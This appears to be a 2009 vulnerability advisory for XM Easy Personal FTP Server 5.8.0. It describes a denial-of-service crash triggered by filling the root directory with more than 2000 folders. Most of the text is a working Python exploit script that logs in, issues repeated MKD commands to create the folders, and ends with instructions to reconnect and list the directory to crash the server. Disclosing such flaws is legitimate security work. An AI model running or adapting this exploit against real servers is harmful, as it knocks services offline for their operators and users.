118 lines
No EOL
3.6 KiB
Text
118 lines
No EOL
3.6 KiB
Text
Date of Discovery: 24-Nov-2009
|
|
|
|
Credits:leinakesi[at]gmail.com
|
|
|
|
Vendor: Dxmsoft
|
|
*******************************************************************************
|
|
Affected:
|
|
|
|
XM Easy Personal FTP Server 5.8.0
|
|
Earlier versions may also be affected
|
|
*******************************************************************************
|
|
Overview:
|
|
|
|
XM Easy Personal FTP Server failed to handle more than 2000 files or folders in
|
|
|
|
the root directory.
|
|
*******************************************************************************
|
|
Details:
|
|
|
|
if you could log on the server, take the following steps and the server will
|
|
|
|
crash which lead to DoS.
|
|
|
|
1.upload 2000 files or folders.
|
|
2.close the current connection.
|
|
3.use a ftp client to reconnect the server.
|
|
user ...
|
|
pass ...
|
|
port ...
|
|
list ...
|
|
crash!!!!!!
|
|
*******************************************************************************
|
|
Exploit example:
|
|
|
|
1.upload 2000 folders.
|
|
#!/usr/bin/python
|
|
import socket
|
|
import sys
|
|
|
|
def Usage():
|
|
print ("Usage: ./expl.py <serv_ip> <Username> <password>\n")
|
|
print ("Example:./expl.py 192.168.48.183 anonymous anonymous\n")
|
|
if len(sys.argv) <> 4:
|
|
Usage()
|
|
sys.exit(1)
|
|
else:
|
|
hostname=sys.argv[1]
|
|
username=sys.argv[2]
|
|
passwd=sys.argv[3]
|
|
test_string='a'
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
try:
|
|
sock.connect((hostname, 21))
|
|
except:
|
|
print ("Connection error!")
|
|
sys.exit(1)
|
|
r=sock.recv(1024)
|
|
sock.send("user %s\r\n" %username)
|
|
r=sock.recv(1024)
|
|
sock.send("pass %s\r\n" %passwd)
|
|
|
|
for i in range(1,200):
|
|
sock.send("mkd " + "a" * i +"\r\n")
|
|
print "[-] " + ("mkd " + "a" * i +"\r\n")
|
|
r=sock.recv(1024)
|
|
print "[+] " + r + "\r\n"
|
|
for i in range(1,200):
|
|
sock.send("mkd " + "b" * i +"\r\n")
|
|
print "[-] " + ("mkd " + "b" * i +"\r\n")
|
|
r=sock.recv(1024)
|
|
print "[+] " + r + "\r\n"
|
|
for i in range(1,200):
|
|
sock.send("mkd " + "c" * i +"\r\n")
|
|
print "[-] " + ("mkd " + "c" * i +"\r\n")
|
|
r=sock.recv(1024)
|
|
print "[+] " + r + "\r\n"
|
|
for i in range(1,200):
|
|
sock.send("mkd " + "d" * i +"\r\n")
|
|
print "[-] " + ("mkd " + "d" * i +"\r\n")
|
|
r=sock.recv(1024)
|
|
print "[+] " + r + "\r\n"
|
|
for i in range(1,200):
|
|
sock.send("mkd " + "e" * i +"\r\n")
|
|
print "[-] " + ("mkd " + "e" * i +"\r\n")
|
|
r=sock.recv(1024)
|
|
print "[+] " + r + "\r\n"
|
|
for i in range(1,200):
|
|
sock.send("mkd " + "f" * i +"\r\n")
|
|
print "[-] " + ("mkd " + "f" * i +"\r\n")
|
|
r=sock.recv(1024)
|
|
print "[+] " + r + "\r\n"
|
|
for i in range(1,200):
|
|
sock.send("mkd " + "g" * i +"\r\n")
|
|
print "[-] " + ("mkd " + "g" * i +"\r\n")
|
|
r=sock.recv(1024)
|
|
print "[+] " + r + "\r\n"
|
|
for i in range(1,200):
|
|
sock.send("mkd " + "h" * i +"\r\n")
|
|
print "[-] " + ("mkd " + "h" * i +"\r\n")
|
|
r=sock.recv(1024)
|
|
print "[+] " + r + "\r\n"
|
|
for i in range(1,200):
|
|
sock.send("mkd " + "i" * i +"\r\n")
|
|
print "[-] " + ("mkd " + "i" * i +"\r\n")
|
|
r=sock.recv(1024)
|
|
print "[+] " + r + "\r\n"
|
|
for i in range(1,200):
|
|
sock.send("mkd " + "j" * i +"\r\n")
|
|
print "[-] " + ("mkd " + "j" * i +"\r\n")
|
|
r=sock.recv(1024)
|
|
print "[+] " + r + "\r\n"
|
|
|
|
sock.close()
|
|
sys.exit(0);
|
|
|
|
2.use a ftp client to reconnect the server
|
|
for example:
|
|
start->run->cmd->ftp 127.0.0.1->*****->*****->dir |